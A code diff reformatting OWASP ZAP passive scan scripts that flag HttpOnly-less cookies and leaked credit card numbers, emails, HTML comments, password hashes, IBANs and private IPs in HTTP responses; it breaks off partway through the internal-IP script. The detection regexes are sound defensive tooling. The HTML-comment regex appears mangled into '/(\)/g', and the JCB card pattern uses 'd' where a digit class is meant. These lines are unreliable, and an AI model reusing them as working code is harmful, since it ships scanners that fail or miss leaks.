src) -{ +function scan(ps, msg, src) { + var alertRisk = 1; + var alertConfidence = 2; + var alertTitle = "Cookie set without HTTPOnly Flag(script)"; + var alertDesc = + "A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible."; + var alertSolution = "Ensure that the HttpOnly flag is set for all cookies."; - var alertRisk = 1 - var alertConfidence = 2 - var alertTitle = "Cookie set without HTTPOnly Flag(script)" - var alertDesc = "A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible." - var alertSolution = "Ensure that the HttpOnly flag is set for all cookies." + var cweId = 0; + var wascId = 13; - var cweId = 0 - var wascId = 13 + var url = msg.getRequestHeader().getURI().toString(); + var headers = msg.getResponseHeader().getHeaders("Set-Cookie"); - var url = msg.getRequestHeader().getURI().toString(); - var headers = msg.getResponseHeader().getHeaders("Set-Cookie") - - if (headers != null) - { - var re_noflag = /([Hh][Tt][Tt][Pp][Oo][Nn][Ll][Yy])/g - if (!(re_noflag.test(headers))) - { - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', '', alertSolution,headers, cweId, wascId, msg); - } + if (headers != null) { + var re_noflag = /([Hh][Tt][Tt][Pp][Oo][Nn][Ll][Yy])/g; + if (!re_noflag.test(headers)) { + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + "", + alertSolution, + headers, + cweId, + wascId, + msg + ); } - + } } diff --git a/passive/Find Credit Cards.js b/passive/Find Credit Cards.js index a0118615..fb08e4c3 100644 --- a/passive/Find Credit Cards.js +++ b/passive/Find Credit Cards.js @@ -1,86 +1,100 @@ // CreditCard Finder by freakyclown@gmail.com -function scan(ps, msg, src) -{ - // lets set up some stuff we are going to need for the alert later if we find a credit card - var url = msg.getRequestHeader().getURI().toString(); - var body = msg.getResponseBody().toString() - var alertRisk = [0,1,2,3] //1=informational, 2=low, 3=medium, 4=high - var alertConfidence = [0,1,2,3,4] //0=fp,1=low,2=medium,3=high,4=confirmed - var alertTitle = ["Credit Card Number(s) Disclosed (script)", - ""] - var alertDesc = ["Credit Card number(s) was discovered.", - ""] - var alertSolution = ["why are you showing Credit and debit card numbers?", - ""] - var cweId = [0,1] - var wascId = [0,1] +function scan(ps, msg, src) { + // lets set up some stuff we are going to need for the alert later if we find a credit card + var url = msg.getRequestHeader().getURI().toString(); + var body = msg.getResponseBody().toString(); + var alertRisk = [0, 1, 2, 3]; //1=informational, 2=low, 3=medium, 4=high + var alertConfidence = [0, 1, 2, 3, 4]; //0=fp,1=low,2=medium,3=high,4=confirmed + var alertTitle = ["Credit Card Number(s) Disclosed (script)", ""]; + var alertDesc = ["Credit Card number(s) was discovered.", ""]; + var alertSolution = [ + "why are you showing Credit and debit card numbers?", + "", + ]; + var cweId = [0, 1]; + var wascId = [0, 1]; + // lets make some regular expressions for well known credit cards + // regex must appear within /( and )/g - // lets make some regular expressions for well known credit cards - // regex must appear within /( and )/g + var re_visa = /([3-5][0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4})/g; //visa or mastercard + var re_amex = /(3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5})/g; //amex + var re_disc = /(6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4})/g; //discovery + var re_diner = /(3(?:0[0-5]|[68][0-9])[0-9]{11})/g; //dinersclub + var re_jcb = /((?:2131|1800|35d{3})d{11})/g; //jcb - - var re_visa = /([3-5][0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4})/g //visa or mastercard - var re_amex = /(3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5})/g //amex - var re_disc = /(6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4})/g //discovery - var re_diner = /(3(?:0[0-5]|[68][0-9])[0-9]{11})/g //dinersclub - var re_jcb = /((?:2131|1800|35d{3})d{11})/g //jcb + // now lets put all of those into a nice array so we can loop over it + var cards = [re_visa, re_amex, re_disc, re_diner, re_jcb]; - // now lets put all of those into a nice array so we can loop over it - var cards = [re_visa,re_amex,re_disc,re_diner,re_jcb] + // here we are going to check the content type and skip over things that + // wont contain credit cards like jpegs and such like + var contenttype = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedfiletypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + "application/pdf", + ]; + if (unwantedfiletypes.indexOf("" + contenttype) >= 0) { + // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives + return; + } else { + // right lets run our scan by looping over all the cards in the array above and testing them against the + // body of the response + for (var i = 0; i < cards.length; i++) { + if (cards[i].test(body)) { + cards[i].lastindex = 0; + var foundCard = []; + var comm; + while ((comm = cards[i].exec(body))) { + // perform luhn check this checks to make sure its a valid cc number! + if (luhncheck(comm[0]) == 0) { + foundCard.push(comm[0]); + } + } + if (foundCard.length != 0) { + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[0], + alertDesc[0], + url, + "", + "", + foundCard.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + } + } + } +} +function luhncheck(value) { + // this function is based on work done by DiegoSalazar on github (https://gist.github.com/DiegoSalazar) + var nCheck = 0, + nDigit = 0, + bEven = false; + value = value.replace(/\D/g, ""); - // here we are going to check the content type and skip over things that - // wont contain credit cards like jpegs and such like - var contenttype = msg.getResponseHeader().getHeader("Content-Type") - var unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash', 'application/pdf'] - - if (unwantedfiletypes.indexOf(""+contenttype) >= 0) - { - // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives - return - }else{ - // right lets run our scan by looping over all the cards in the array above and testing them against the - // body of the response - for (var i=0; i < cards.length; i++) - { - if (cards[i].test(body)) - { - cards[i].lastindex = 0 - var foundCard = [] - var comm - while (comm = cards[i].exec(body)) - { - // perform luhn check this checks to make sure its a valid cc number! - if (luhncheck(comm[0]) ==0){ - foundCard.push(comm[0]);} - } - if (foundCard.length !=0){ - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[0], alertDesc[0], url, '', '', foundCard.toString(), alertSolution[0], '', cweId[0], wascId[0], msg);} - } + for (var n = value.length - 1; n >= 0; n--) { + var cDigit = value.charAt(n), + nDigit = parseInt(cDigit, 10); - } + if (bEven) { + if ((nDigit *= 2) > 9) nDigit -= 9; + } - } -} -function luhncheck(value){ - // this function is based on work done by DiegoSalazar on github (https://gist.github.com/DiegoSalazar) - var nCheck = 0, nDigit = 0, bEven = false; - value = value.replace(/\D/g, ""); - - for (var n = value.length - 1; n >= 0; n--) { - var cDigit = value.charAt(n), - nDigit = parseInt(cDigit, 10); - - if (bEven) { - if ((nDigit *= 2) > 9) nDigit -= 9; - } - - nCheck += nDigit; - bEven = !bEven; - } - - // debug here print ("value: " + value + " lunh: " +nCheck % 10); - return (nCheck % 10); + nCheck += nDigit; + bEven = !bEven; + } + + // debug here print ("value: " + value + " lunh: " +nCheck % 10); + return nCheck % 10; } diff --git a/passive/Find Emails.js b/passive/Find Emails.js index adff39a1..d9dcd5e2 100644 --- a/passive/Find Emails.js +++ b/passive/Find Emails.js @@ -7,42 +7,63 @@ // 20181213 - Update by nil0x42+owaspzap@gmail.com to ignore false positives (such as '*@123' or '$@#!.') function scan(ps, msg, src) { - // first lets set up some details incase we find an email, these will populate the alert later - var alertRisk = 0 - var alertConfidence = 3 - var alertTitle = 'Email addresses (script)' - var alertDesc = 'Email addresses were found' - var alertSolution = 'Remove emails that are not public' - var cweId = 0 - var wascId = 0 + // first lets set up some details incase we find an email, these will populate the alert later + var alertRisk = 0; + var alertConfidence = 3; + var alertTitle = "Email addresses (script)"; + var alertDesc = "Email addresses were found"; + var alertSolution = "Remove emails that are not public"; + var cweId = 0; + var wascId = 0; - // lets build a regular expression that can find email addresses - // the regex must appear within /( and )/g - var re = /([a-zA-Z0-9_.+-]+@[a-zA-Z0-9]+[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*[a-zA-Z0-9]{2,})/g + // lets build a regular expression that can find email addresses + // the regex must appear within /( and )/g + var re = + /([a-zA-Z0-9_.+-]+@[a-zA-Z0-9]+[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*[a-zA-Z0-9]{2,})/g; - // we need to set the url variable to the request or we cant track the alert later - var url = msg.getRequestHeader().getURI().toString(); + // we need to set the url variable to the request or we cant track the alert later + var url = msg.getRequestHeader().getURI().toString(); - // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs - var contenttype = msg.getResponseHeader().getHeader("Content-Type") - var unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash','application/pdf'] - - if (unwantedfiletypes.indexOf(""+contenttype) >= 0) { - // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives - return - }else{ - // now lets run our regex against the body response - var body = msg.getResponseBody().toString() - if (re.test(body)) { - re.lastIndex = 0 // After testing reset index - // Look for email addresses - var foundEmail = [] - var comm - while (comm = re.exec(body)) { - foundEmail.push(comm[0]); - } - // woohoo we found an email lets make an alert for it - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', foundEmail.toString(), alertSolution, '', cweId, wascId, msg); - } + // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs + var contenttype = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedfiletypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + "application/pdf", + ]; + + if (unwantedfiletypes.indexOf("" + contenttype) >= 0) { + // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives + return; + } else { + // now lets run our regex against the body response + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + re.lastIndex = 0; // After testing reset index + // Look for email addresses + var foundEmail = []; + var comm; + while ((comm = re.exec(body))) { + foundEmail.push(comm[0]); + } + // woohoo we found an email lets make an alert for it + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + foundEmail.toString(), + alertSolution, + "", + cweId, + wascId, + msg + ); } + } } diff --git a/passive/Find HTML Comments.js b/passive/Find HTML Comments.js index 85649ad8..aa702b1f 100644 --- a/passive/Find HTML Comments.js +++ b/passive/Find HTML Comments.js @@ -1,8 +1,8 @@ // The scan function will be called for request/response made via ZAP, excluding some of the automated tools -// Passive scan rules should not make any requests +// Passive scan rules should not make any requests // Note that new passive scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" // PassiveHTMLCommentFinder.js // Author: kingthorin @@ -15,58 +15,92 @@ // NOTE: Designed to work with 2.2 Weekly build version D-2014-03-10 or stable builds at or above v2.3 // NOTE: This script ONLY finds HTML comments. It DOES NOT find JavaScript or other comments. -// NOTE: This script will only find HTML comments in content which passes through ZAP. +// NOTE: This script will only find HTML comments in content which passes through ZAP. // Therefore if you browser is caching you may not see something you expect to. function scan(ps, msg, src) { - // Both can be true, just know that you'll see duplication. - var RESULT_PER_FINDING = new Boolean(0) // If you want to see results on a per comment basis (i.e.: A single URL may be listed more than once), set this to true (1) - var RESULT_PER_URL = new Boolean(1) // If you want to see results on a per URL basis (i.e.: all comments for a single URL will be grouped together), set this to true (1) - - // lets set up some details we will need for alerts later if we find some comments - var alertRisk = 0 - var alertConfidence = 2 - var alertTitle = 'Information Exposure Through HTML Comments (script)' - var alertDesc = 'While adding general comments is very useful, \ + // Both can be true, just know that you'll see duplication. + var RESULT_PER_FINDING = new Boolean(0); // If you want to see results on a per comment basis (i.e.: A single URL may be listed more than once), set this to true (1) + var RESULT_PER_URL = new Boolean(1); // If you want to see results on a per URL basis (i.e.: all comments for a single URL will be grouped together), set this to true (1) + + // lets set up some details we will need for alerts later if we find some comments + var alertRisk = 0; + var alertConfidence = 2; + var alertTitle = "Information Exposure Through HTML Comments (script)"; + var alertDesc = + "While adding general comments is very useful, \ some programmers tend to leave important data, such as: filenames related to the web application, old links \ -or links which were not meant to be browsed by users, old code fragments, etc.' - var alertSolution = 'Remove comments which have sensitive information about the design/implementation \ +or links which were not meant to be browsed by users, old code fragments, etc."; + var alertSolution = + "Remove comments which have sensitive information about the design/implementation \ of the application. Some of the comments may be exposed to the user and affect the security posture of the \ -application.' - var cweId = 615 - var wascId = 13 - var url = msg.getRequestHeader().getURI().toString(); +application."; + var cweId = 615; + var wascId = 13; + var url = msg.getRequestHeader().getURI().toString(); + + // this is a rough regular expression to find HTML comments + // regex needs to be inside /( and )/g to work + var re = /(\)/g; - // this is a rough regular expression to find HTML comments - // regex needs to be inside /( and )/g to work - var re = /(\)/g + // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs + var contenttype = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedfiletypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + ]; - // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs - var contenttype = msg.getResponseHeader().getHeader("Content-Type") - var unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash'] - - if (unwantedfiletypes.indexOf(""+contenttype) >= 0) { - // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives - return - }else{ - var body = msg.getResponseBody().toString() - if (re.test(body)) { - re.lastIndex = 0 - var foundComments = [] - var counter=0 - var comm - while (comm = re.exec(body)) { - if (RESULT_PER_FINDING == true) { - counter = counter+1; - //fakeparam+counter gives us parameter differientiation per comment alert (RESULT_PER_FINDING) - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, 'fakeparam'+counter, '', comm[0], alertSolution,'' , cweId, wascId, msg); - } - foundComments.push(comm[0]); - } - if (RESULT_PER_URL == true) - { - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', foundComments.toString(), alertSolution,'' , cweId, wascId, msg); - } + if (unwantedfiletypes.indexOf("" + contenttype) >= 0) { + // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives + return; + } else { + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + re.lastIndex = 0; + var foundComments = []; + var counter = 0; + var comm; + while ((comm = re.exec(body))) { + if (RESULT_PER_FINDING == true) { + counter = counter + 1; + //fakeparam+counter gives us parameter differientiation per comment alert (RESULT_PER_FINDING) + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "fakeparam" + counter, + "", + comm[0], + alertSolution, + "", + cweId, + wascId, + msg + ); } + foundComments.push(comm[0]); + } + if (RESULT_PER_URL == true) { + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + foundComments.toString(), + alertSolution, + "", + cweId, + wascId, + msg + ); + } } + } } diff --git a/passive/Find Hashes.js b/passive/Find Hashes.js index cbbdc491..6e5d644f 100644 --- a/passive/Find Hashes.js +++ b/passive/Find Hashes.js @@ -1,149 +1,256 @@ // Encryption Hash Finder by freakyclown@gmail.com -function scan(ps, msg, src) -{ - var url = msg.getRequestHeader().getURI().toString(); - var body = msg.getResponseBody().toString() - var alertRisk = [0,1,2,3] //1=informational, 2=low, 3=medium, 4=high - var alertConfidence = [0,1,2,3,4] //0=fp,1=low,2=medium,3=high,4=confirmed - var alertTitle = ["Wordpress hash Disclosed (script)", - "Sha512 hash Disclosed (script)", - "phpBB3 hash Disclosed (script)", - "Joomla hash Disclosed (script)", - "MySQL(old) hash Disclosed (script)", - "Drupal hash Disclosed (script)", - "Blowfish hash Disclosed (script)", - "VBulletin hash Disclosed (script)", - "MD4/MD5 hash Disclosed (script)", - ""] - var alertDesc = ["A Wordpress hash was discovered.", - "A Sha512 hash was discovered.", - "A phpBB3 hash was discovered.", - "A Joomla hash was discovered.", - "A MySQL(old) hash was discovered.", - "A Drupal hash was discovered.", - "A Blowfish hash was discovered.", - "A VBulletin hash was discovered.", - "A MD4/MD5 hash Disclosed was discovered", - ""] - var alertSolution = ["Ensure that hashes that are used to protect credentials or other resources are not leaked by the web server or database. There is typically no requirement for password hashes to be accessible to the web browser.", - ""] - var cweId = [0,1] - var wascId = [0,1] +function scan(ps, msg, src) { + var url = msg.getRequestHeader().getURI().toString(); + var body = msg.getResponseBody().toString(); + var alertRisk = [0, 1, 2, 3]; //1=informational, 2=low, 3=medium, 4=high + var alertConfidence = [0, 1, 2, 3, 4]; //0=fp,1=low,2=medium,3=high,4=confirmed + var alertTitle = [ + "Wordpress hash Disclosed (script)", + "Sha512 hash Disclosed (script)", + "phpBB3 hash Disclosed (script)", + "Joomla hash Disclosed (script)", + "MySQL(old) hash Disclosed (script)", + "Drupal hash Disclosed (script)", + "Blowfish hash Disclosed (script)", + "VBulletin hash Disclosed (script)", + "MD4/MD5 hash Disclosed (script)", + "", + ]; + var alertDesc = [ + "A Wordpress hash was discovered.", + "A Sha512 hash was discovered.", + "A phpBB3 hash was discovered.", + "A Joomla hash was discovered.", + "A MySQL(old) hash was discovered.", + "A Drupal hash was discovered.", + "A Blowfish hash was discovered.", + "A VBulletin hash was discovered.", + "A MD4/MD5 hash Disclosed was discovered", + "", + ]; + var alertSolution = [ + "Ensure that hashes that are used to protect credentials or other resources are not leaked by the web server or database. There is typically no requirement for password hashes to be accessible to the web browser.", + "", + ]; + var cweId = [0, 1]; + var wascId = [0, 1]; + // regex must appear within /( and )/g + var wordpress = /(\$P\$\S{31})/g; + var sha512 = /(\$6\$\w{8}\S{86})/g; + var phpbb3 = /(\$H\$\S{31})/g; + var joomla = /(([0-9a-zA-Z]{32}):(\w{16,32}))/g; + var mysqlold = /([0-7][0-9a-f]{7}[0-7][0-9a-f]{7})/g; + var drupal = /(\$\S\$\S{52})/g; + var blowfish = /(\$2a\$8\$(.){75})/g; + var vbull = /(([0-9a-zA-Z]{32}):(\S{3,32}))/g; //vbulletin + var md45 = /([a-f0-9]{32})/g; //md4 and md5 and a bunch of others like tiger - // regex must appear within /( and )/g + if (wordpress.test(body)) { + wordpress.lastIndex = 0; + var foundwordpress = []; + var comm; + while ((comm = wordpress.exec(body))) { + foundwordpress.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[0], + alertDesc[0], + url, + "", + "", + foundwordpress.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } - var wordpress = /(\$P\$\S{31})/g - var sha512 = /(\$6\$\w{8}\S{86})/g - var phpbb3 = /(\$H\$\S{31})/g - var joomla = /(([0-9a-zA-Z]{32}):(\w{16,32}))/g - var mysqlold = /([0-7][0-9a-f]{7}[0-7][0-9a-f]{7})/g - var drupal = /(\$\S\$\S{52})/g - var blowfish = /(\$2a\$8\$(.){75})/g - var vbull = /(([0-9a-zA-Z]{32}):(\S{3,32}))/g //vbulletin - var md45 = /([a-f0-9]{32})/g //md4 and md5 and a bunch of others like tiger - - if (wordpress.test(body)) - { - wordpress.lastIndex = 0 - var foundwordpress = [] - var comm - while (comm = wordpress.exec(body)) - { - foundwordpress.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[0], alertDesc[0], url, '', '', foundwordpress.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - - if (sha512.test(body)) - { - sha512.lastIndex = 0 - var foundsha512 = [] - while (comm = sha512.exec(body)) - { - foundsha512.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[1], alertDesc[1], url, '', '', foundsha512.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (phpbb3.test(body)) - { - phpbb3.lastIndex = 0 - var foundphpbb3 = [] - while (comm = phpbb3.exec(body)) - { - foundphpbb3.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[2], alertDesc[2], url, '', '', foundphpbb3.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } + if (sha512.test(body)) { + sha512.lastIndex = 0; + var foundsha512 = []; + while ((comm = sha512.exec(body))) { + foundsha512.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[1], + alertDesc[1], + url, + "", + "", + foundsha512.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (phpbb3.test(body)) { + phpbb3.lastIndex = 0; + var foundphpbb3 = []; + while ((comm = phpbb3.exec(body))) { + foundphpbb3.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[2], + alertDesc[2], + url, + "", + "", + foundphpbb3.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (mysqlold.test(body)) { + mysqlold.lastIndex = 0; + var foundmysqlold = []; + while ((comm = mysqlold.exec(body))) { + foundmysqlold.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[3], + alertDesc[3], + url, + "", + "", + foundmysqlold.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (joomla.test(body)) { + joomla.lastIndex = 0; + var foundjoomla = []; + while ((comm = joomla.exec(body))) { + foundjoomla.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[4], + alertDesc[4], + url, + "", + "", + foundjoomla.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (drupal.test(body)) { + drupal.lastIndex = 0; + var founddrupal = []; + while ((comm = drupal.exec(body))) { + founddrupal.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[5], + alertDesc[5], + url, + "", + "", + founddrupal.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } - if (mysqlold.test(body)) - { - mysqlold.lastIndex = 0 - var foundmysqlold = [] - while (comm = mysqlold.exec(body)) - { - foundmysqlold.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[3], alertDesc[3], url, '', '', foundmysqlold.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } + if (blowfish.test(body)) { + blowfish.lastIndex = 0; + var foundblowfish = []; + while ((comm = blowfish.exec(body))) { + foundblowfish.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[6], + alertDesc[6], + url, + "", + "", + foundblowfish.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } - if (joomla.test(body)) - { - joomla.lastIndex = 0 - var foundjoomla = [] - while (comm = joomla.exec(body)) - { - foundjoomla.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[4], alertDesc[4], url, '', '', foundjoomla.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (drupal.test(body)) - { - drupal.lastIndex = 0 - var founddrupal = [] - while (comm = drupal.exec(body)) - { - founddrupal.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[5], alertDesc[5], url, '', '', founddrupal.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - - if (blowfish.test(body)) - { - blowfish.lastIndex = 0 - var foundblowfish = [] - while (comm = blowfish.exec(body)) - { - foundblowfish.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[6], alertDesc[6], url, '', '', foundblowfish.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - - if (vbull.test(body)) - { - vbull.lastIndex = 0 - var foundvbull = [] - while (comm = vbull.exec(body)) - { - foundvbull.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[2], alertTitle[7], alertDesc[7], url, '', '', foundvbull.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - - - if (md45.test(body)) - { - md45.lastIndex = 0 - var foundmd45 = [] - while (comm = md45.exec(body)) - { - foundmd45.push(comm[0]); - } - ps.raiseAlert(alertRisk[1], alertConfidence[1], alertTitle[8], alertDesc[8], url, '', '', foundmd45.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } + if (vbull.test(body)) { + vbull.lastIndex = 0; + var foundvbull = []; + while ((comm = vbull.exec(body))) { + foundvbull.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[2], + alertTitle[7], + alertDesc[7], + url, + "", + "", + foundvbull.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (md45.test(body)) { + md45.lastIndex = 0; + var foundmd45 = []; + while ((comm = md45.exec(body))) { + foundmd45.push(comm[0]); + } + ps.raiseAlert( + alertRisk[1], + alertConfidence[1], + alertTitle[8], + alertDesc[8], + url, + "", + "", + foundmd45.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } } diff --git a/passive/Find IBANs.js b/passive/Find IBANs.js index b79d4c1d..3104cbf9 100644 --- a/passive/Find IBANs.js +++ b/passive/Find IBANs.js @@ -6,41 +6,62 @@ // Complements the Pluralsight course - Writing Custom Scripts for Zed Attack Proxy function scan(ps, msg, src) { - // first lets set up some details incase we find an IBAN, these will populate the alert later - var alertRisk = 1 - var alertConfidence = 3 - var alertTitle = 'IBAN found - investigation required (script)' - var alertDesc = 'IBAN numbers were found' - var alertSolution = 'Investigate IBAN numbers found in the response, remove or mask as required' - var cweId = 200 - var wascId = 0 + // first lets set up some details incase we find an IBAN, these will populate the alert later + var alertRisk = 1; + var alertConfidence = 3; + var alertTitle = "IBAN found - investigation required (script)"; + var alertDesc = "IBAN numbers were found"; + var alertSolution = + "Investigate IBAN numbers found in the response, remove or mask as required"; + var cweId = 200; + var wascId = 0; - // lets build a regular expression that can find IBAN addresses - // the regex must appear within /( and )/g - var re = /([A-Za-z]{2}[0-9]{2}[A-Za-z]{4}[0-9]{10})/g + // lets build a regular expression that can find IBAN addresses + // the regex must appear within /( and )/g + var re = /([A-Za-z]{2}[0-9]{2}[A-Za-z]{4}[0-9]{10})/g; - // we need to set the url variable to the request or we cant track the alert later - var url = msg.getRequestHeader().getURI().toString() + // we need to set the url variable to the request or we cant track the alert later + var url = msg.getRequestHeader().getURI().toString(); - // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs - var contentType = msg.getResponseHeader().getHeader("Content-Type") - var unwantedFileTypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash','application/pdf'] + // lets check its not one of the files types that are never likely to contain stuff, like pngs and jpegs + var contentType = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedFileTypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + "application/pdf", + ]; - if (unwantedFileTypes.indexOf(""+contentType) >= 0) { - // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives - return - } - // now lets run our regex against the body response - var body = msg.getResponseBody().toString() - if (re.test(body)) { - re.lastIndex = 0 // After testing reset index - // Look for IBAN addresses - var foundIBAN = [] - var comm - while (comm = re.exec(body)) { - foundIBAN.push(comm[0]) - } - // woohoo we found an IBAN lets make an alert for it - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', foundIBAN.toString(), alertSolution, foundIBAN.toString(), cweId, wascId, msg) + if (unwantedFileTypes.indexOf("" + contentType) >= 0) { + // if we find one of the unwanted headers quit this scan, this saves time and reduces false positives + return; + } + // now lets run our regex against the body response + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + re.lastIndex = 0; // After testing reset index + // Look for IBAN addresses + var foundIBAN = []; + var comm; + while ((comm = re.exec(body))) { + foundIBAN.push(comm[0]); } + // woohoo we found an IBAN lets make an alert for it + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + foundIBAN.toString(), + alertSolution, + foundIBAN.toString(), + cweId, + wascId, + msg + ); + } } diff --git a/passive/Find Internal IPs.js b/passive/Find Internal IPs.js index 530f4a0b..1076da99 100644 --- a/passive/Find Internal IPs.js +++ b/passive/Find Internal IPs.js @@ -1,42 +1,62 @@ // RFC1918 internal IP Finder by freakyclown@gmail.com function scan(ps, msg, src) { - var url = msg.getRequestHeader().getURI().toString(); - var alertRisk = 2 - var alertConfidence = 2 - var alertTitle = "Private IP address in Body(script)" - var alertDesc = "A private IP such as 10.x.x.x, 172.x.x.x, 192.168.x.x or IPV6 fe00:: has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems. " - var alertSolution = "Remove the private IP address from the HTTP response body. For comments, use JSP/ASP comment instead of HTML/JavaScript comment which can be seen by client browsers." + var url = msg.getRequestHeader().getURI().toString(); + var alertRisk = 2; + var alertConfidence = 2; + var alertTitle = "Private IP address in Body(script)"; + var alertDesc = + "A private IP such as 10.x.x.x, 172.x.x.x, 192.168.x.x or IPV6 fe00:: has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems. "; + var alertSolution = + "Remove the private IP address from the HTTP response body. For comments, use JSP/ASP comment instead of HTML/JavaScript comment which can be seen by client browsers."; - var cweId = 0 - var wascId = 0 - // regex must appear within /( and )/g - var re = /((172\.\d{1,3}\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|([fF][eE][89aAbBcCdDeEfF]::))/g + var cweId = 0; + var wascId = 0; + // regex must appear within /( and )/g + var re = + /((172\.\d{1,3}\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|([fF][eE][89aAbBcCdDeEfF]::))/g; + // you can tell the user in the console we are doing stuff by uncommenting the line below + //print('Finding IPs Under: ' + url); - // you can tell the user in the console we are doing stuff by uncommenting the line below - //print('Finding IPs Under: ' + url); + // lets check its not one of the 